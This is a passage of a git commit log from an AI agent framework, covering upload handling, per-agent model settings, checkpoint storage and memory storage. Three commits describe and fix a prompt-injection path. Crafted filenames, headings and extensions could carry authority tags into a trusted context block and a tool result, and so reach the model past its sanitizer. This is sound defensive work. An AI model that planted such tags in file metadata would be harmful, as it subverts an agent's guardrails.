* fix(channels): pass files metadata through _human_input_message() for IM uploads

_human_input_message() was not passing additional_kwargs.files to the
downstream message. UploadsMiddleware read no files, wrote
uploaded_files=[], and list_uploaded_files reported same-run IM
attachments as historical files (fancyboi999 repro).

Fix: add files parameter to _human_input_message(), call site passes
files=uploaded. Regression test locks the contract.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(channels): remove legacy <uploaded_files> manual prepend to fix double-injection regression

Commit 8d86dbf6 added files= pass-through to UploadsMiddleware but
left the manual _format_uploaded_files_block() prepend in place.
Every IM attachment reached the model twice — once via the legacy
<uploaded_files> block and once via <current_uploads>.

This commit removes the manual prepend and the now-dead
_format_uploaded_files_block() function. UploadsMiddleware is the
sole upload-context producer for both IM and web paths.

Reported-by: fancyboi999 (PR review)
Co-Authored-By: Claude <noreply@anthropic.com>

* docs: update #4212 issue body to reflect completed fixes and narrowed remaining scope

* chore: remove temporary scratch file

* fix(middleware): neutralize user-derived values inside <current_uploads> block

Upload-derived filenames, paths, outline titles, and preview text are
interpolated verbatim inside the trusted <current_uploads> wrapper,
which InputSanitizationMiddleware exempts from sanitization. A crafted
filename or document heading containing blocked authority tags would
bypass the guardrail and enter model context as trusted framework data.

Fix: call neutralize_untrusted_tags() on all four user-derived values
inside _format_file_entry(), preserving the outer <current_uploads>
wrapper untouched.

Reported-by: fancyboi999 (P1 security review)
Co-Authored-By: Claude <noreply@anthropic.com>

* fix(middleware): neutralize extension labels in omitted-file summary

Files exceeding the 10-item context cap bypass _format_file_entry().
Their extensions, derived from user-controlled filenames via
_extension_label(), were interpolated verbatim into the trusted
<current_uploads> wrapper — another path for blocked authority tags
to escape the guardrail.

Fix: neutralize extension values inside _extension_label(), the
single extraction point for all extension labels.

Reported-by: fancyboi999 (P1 security review)
Co-Authored-By: Claude <noreply@anthropic.com>

* fix(tools): neutralize user-derived values in list_uploaded_files tool result

Apply neutralize_untrusted_tags() to every model-visible user-derived value
returned by list_uploaded_files: filename, virtual path, extension, outline
titles, outline preview lines, and omitted-file extension summary.

This closes the last remaining injection bypass in the upload lazy-loading
path - the <current_uploads> block and its omitted summary were already
neutralized (previous commits), but the list_uploaded_files tool produced
a second exit for the same attacker-controlled metadata that
ToolResultSanitizationMiddleware did not cover.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(tests): add missing include_upload_tool=False to task_tool mock assertions

PR #4174 added include_upload_tool parameter to get_available_tools().
task_tool.py correctly passes include_upload_tool=False for subagents
but 5 existing tests' assert_called_once_with expectations were not
updated, causing CI failures.

Co-Authored-By: Claude <noreply@anthropic.com>

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-07-22 14:02:56 +08:00
Ryker_Feng
20debf9cc7
feat(agents): per-agent model and generation settings (#4347)
* feat(agents): per-agent model and generation settings

Let each custom agent choose its own model and sampling settings
(temperature, max_tokens) plus thinking / reasoning_effort defaults,
so agents sharing a model profile are no longer stuck with one shared
temperature and output length (#4336).

AgentConfig gains optional model_settings / thinking_enabled /
reasoning_effort (None = inherit). create_chat_model applies per-caller
model_overrides on top of the profile before the thinking/Codex
transforms; the lead agent resolves each knob with precedence
request > agent config > profile/default. The /api/agents create/update
routes persist the fields and reject an unknown model. The default lead
agent path is unchanged (no agent config -> overrides None). The agent
chat composer also stops force-overriding an agent's configured default
model with models[0].

* fix(agents): tri-state thinking control and default-model capability gating

The model-settings dialog seeded the thinking switch to false, so opening
it to tweak temperature and saving silently disabled thinking (the runtime
default is on) with no way back to inherit. It also hid the thinking /
reasoning controls whenever the agent inherited the global default model,
since `__default__` never resolved through `models.find`.

Give thinking an explicit Inherit / On / Off tri-state so an untouched save
is a no-op, and resolve `__default__` to the effective default (models[0])
for the capability check. Logic lives in the tested helpers module.
2026-07-22 13:44:55 +08:00
March7
ce4a6d4c3d
fix(backend): remove transient image context after model calls (#4267)
* fix(backend): discard transient image context

* fix(backend): protect client image context ids

* docs(backend): clarify image checkpoint lifecycle
2026-07-22 08:41:50 +08:00
Vanzeren
42baed8c8c
feat(checkpoint): dual-mode checkpoint storage with LangGraph DeltaChannel (#4292)
* feat(checkpoint): dual-mode checkpoint storage with LangGraph DeltaChannel

Add a restart-required database.checkpoint_channel_mode ("full" default,
"delta") that stores the messages channel via LangGraph 1.2 DeltaChannel,
cutting checkpoint storage from O(n^2) to O(n) for append-only history.
Existing full checkpoints seed delta state transparently; no data migration.

- config: mode schema + freeze-on-first-use with
  CheckpointModeReconfigurationError; mode marker persisted in checkpoint
  metadata; unsafe delta->full downgrade rejected fail-closed with
  CheckpointModeMismatchError (run-level error, failed state read)
- state: delta message state schema; CheckpointStateAccessor centralizes
  materialized reads for all consumers (threads API, branches,
  regeneration, compaction, state updates, memory, goal workers)
- runtime: raw writers (run durations, interrupted title, thread goal)
  parent their checkpoints to the checkpoint they derive from, preserving
  delta ancestry; rollback forks the pre-run lineage through a state
  mutation graph with Overwrite restores; InMemorySaver delta-history
  override delegates to the base walk (fixes dropped first write after
  migration, also present upstream)
- tests: conformance suite over {memory, sqlite, postgres} covering
  migration replay, stable message IDs, storage shape and writer
  preservation; conftest fixture isolates the frozen mode between tests;
  stale config fakes refreshed
- ci: backend unit tests gain a postgres service

* fix(checkpoint): close materialization gaps in goal flow, guard public factory

- Route goal-continuation message reads through CheckpointStateAccessor:
  raw channel_values reads see the delta sentinel in delta mode, which
  disabled goal continuation (stand_down=no_durable_end_of_turn) after
  durable assistant turns. Raw tuples remain for tuple-only metadata
  (checkpoint id, pending_writes).
- Reject checkpoint_channel_mode='delta' + checkpointer in
  create_deerflow_agent at construction: factory-built persisted graphs
  bypass mode-marker injection and the fail-closed gate, reproducing
  silent mixed-mode state loss. Delta without persistence stays allowed.
- Import the postgres saver lazily (pytest.importorskip in the fixture)
  so the documented default install collects the suite; add a CI job
  running pytest --collect-only on uv sync --group dev without extras.
- Fix test_checkpointer fallback test to patch get_app_config at its
  use site (provider module), making it deterministic when a local
  config.yaml selects a persistent backend.

* fix(gateway): preserve extension-owned channels in state mutations, bump config version

- build_state_mutation_graph / build_checkpoint_state_mutation_accessor
  accept an explicit state_schema; branch and POST /state now compile the
  mutation graph from the thread's effective schema
  (graph_state_schema on the assistant graph). The base-ThreadState
  fallback silently discarded channels contributed by custom
  AgentMiddleware.state_schema on branch (data loss) and returned a
  false-success 200 on POST /state.
- POST /state validates values keys against the mutation graph's
  channels and rejects unknown fields with 422 instead of ignoring
  them; reducer detection covers extension channels
  (BinaryOperatorAggregate or DeltaChannel) so Overwrite replace
  semantics work for middleware reducers in both modes.
- Endpoint regression: custom AgentMiddleware.state_schema value
  survives branch, updates through POST /state, and an unknown field
  receives 422.
- config_version 26 -> 27 for the new database.checkpoint_channel_mode
  (example, Helm chart values + README, support-bundle fixture), so
  existing installs get the outdated-config warning and
  make config-upgrade merges the field; covered by a test driving the
  real example file and the real config-upgrade script.

* fix(gateway): resolve assistant schema via one boundary, copy branch reducer values with Overwrite

GET /threads/{id}/state now resolves the thread's assistant_id through a
single reusable boundary (thread metadata -> assistant_id -> effective
graph), so channels contributed by a custom AgentMiddleware.state_schema
are materialized instead of dropped by the default lead schema. POST
/state uses the same boundary instead of resolving the schema ad hoc.

Branch writes wrap every copied reducer channel in Overwrite (derived
from the effective mutation graph: BinaryOperatorAggregate + DeltaChannel),
not just messages, so already-aggregated values are never re-merged.

Regression tests use a real AgentMiddleware.state_schema with a
non-identity reducer in both full and delta modes: GET /state returns the
extension value, POST /state replaces it, branch preserves it
byte-for-byte; the unknown-field 422 is a separate assertion.

* refactor(checkpoint): collapse read-path round-trips and ship dual-mode parity tests

Address review round 4 on PR #4292:

- Push ahistory/history limit through Pregel into checkpointer.alist
  (SQL LIMIT) instead of materializing all rows and breaking in Python
- Fold the read-side mode-compat gate onto the returned snapshot's
  metadata; only writes keep the pre-write tuple fetch (fail-closed)
- Cache factory-built accessor graphs per (assistant_id, mode) with
  factory-identity revalidation; state reads no longer build a lead
  agent per request
- get_thread: one snapshot fetch + one raw pending_writes fetch on the
  resolved checkpoint (post-checkpoint __error__ writes never surface
  in snapshot.tasks; verified empirically)
- DeerFlowClient.get_thread: single checkpointer.list walk collects
  pending_writes per checkpoint instead of N get_tuple calls
- InMemorySaver delta-history patch: stand-down when the upstream
  override disappears, try/except guard, validated-version warning,
  guard tests
- make_lead_agent mode precedence: first freeze is owned by app_config
  (client-supplied configurable key ignored); once frozen, injected
  key/app_config must match or fail closed
- Rollback: lock in non-message channel restoration via fork
  inheritance with a dedicated reducer-channel test
- Add tests/test_threads_checkpoint_mode.py and
  tests/test_gateway_checkpoint_mode.py referenced by AGENTS.md and
  the PR validation section: lifecycle parity (memory + sqlite),
  per-step blob-count storage guard, gateway endpoint parity

Counted-saver tests pin checkpoint round-trips for aget/ahistory so
these regressions cannot silently return.

* fix(checkpoint): precise mode-mismatch HTTP mapping, gate E2E, and accessor resilience

- threads router: map CheckpointModeMismatchError to 409 (with cause and
  thread id) and CheckpointModeReconfigurationError to 503 across all state
  endpoints instead of swallowing both into a generic 500
- gate coverage: seed a real delta checkpoint into AsyncSqliteSaver and
  assert aget/aupdate/ahistory fail closed; assert 409 at the HTTP boundary
  through the real route stack
- rollback: compile the restore mutation graph with the thread's effective
  state schema per the build_state_mutation_graph contract
- inheritance contract locks: rollback and manual compaction preserve
  middleware-contributed channels via checkpoint fork cloning
- services: revalidate the accessor-graph cache against app_config identity
  so config.yaml hot-reloads never serve a stale compiled graph
- services: degrade full-mode state reads to raw checkpointer reads when the
  agent factory is unavailable (delta gate still applies; delta mode has no
  fallback)
- deps: override websockets==16.0 (langgraph-sdk 0.4.2's <16 pin silently
  downgraded 16.0 -> 15.0.1; pin is not grounded in any API incompatibility)
  and bump the langchain lower bound to what the lockfile actually resolves

* fix(checkpoint): include anchor checkpoint in degraded history walk + cover get_thread

- _RawCheckpointReadAccessor.ahistory: alist(before=...) is exclusive while
  pregel's get_state_history treats config.checkpoint_id as the inclusive
  start; fetch the anchor explicitly so both read paths paginate identically
- extend the degraded-path gateway test: GET /thread returns raw values, and
  POST /history with before starts at the anchor checkpoint

* fix(gateway): preserve degraded checkpoint timestamps

* fix(gateway): harden degraded checkpoint access

* fix(gateway): resolve assistants for checkpoint reads

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-07-22 08:33:29 +08:00
RongfuShuiping
4bf028d048
feat(memory): add incremental agent-scoped Markdown fact storage (#4279)
* feat(memory): add Markdown fact storage repository

* docs(memory): explain storage rewrite for beginners

* docs(memory): fix plan markdown formatting

* refactor(memory): separate global summaries from agent facts

* fix(memory): make Markdown fact updates incremental and safe

* Update STORAGE_REWRITE_CHANGES.md

* Delete docs/plans/STORAGE_REWRITE_PLAN.md

* Delete docs/plans/STORAGE_REWRITE_CHANGES.md

* fix(memory): address Markdown storage review feedback

* fix(memory): complete review follow-ups

* fix(memory): resolve storage review findings

* feat(memory): add proactive Markdown migration CLI

* fix(memory): harden Markdown storage concurrency

* fix(memory): harden markdown storage migration

* fix(memory): close migration review gaps

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
Co-authored-by: qin-chenghan <qinchenghan@Huawei.com>
2026-07-22 07:46:03 +08:00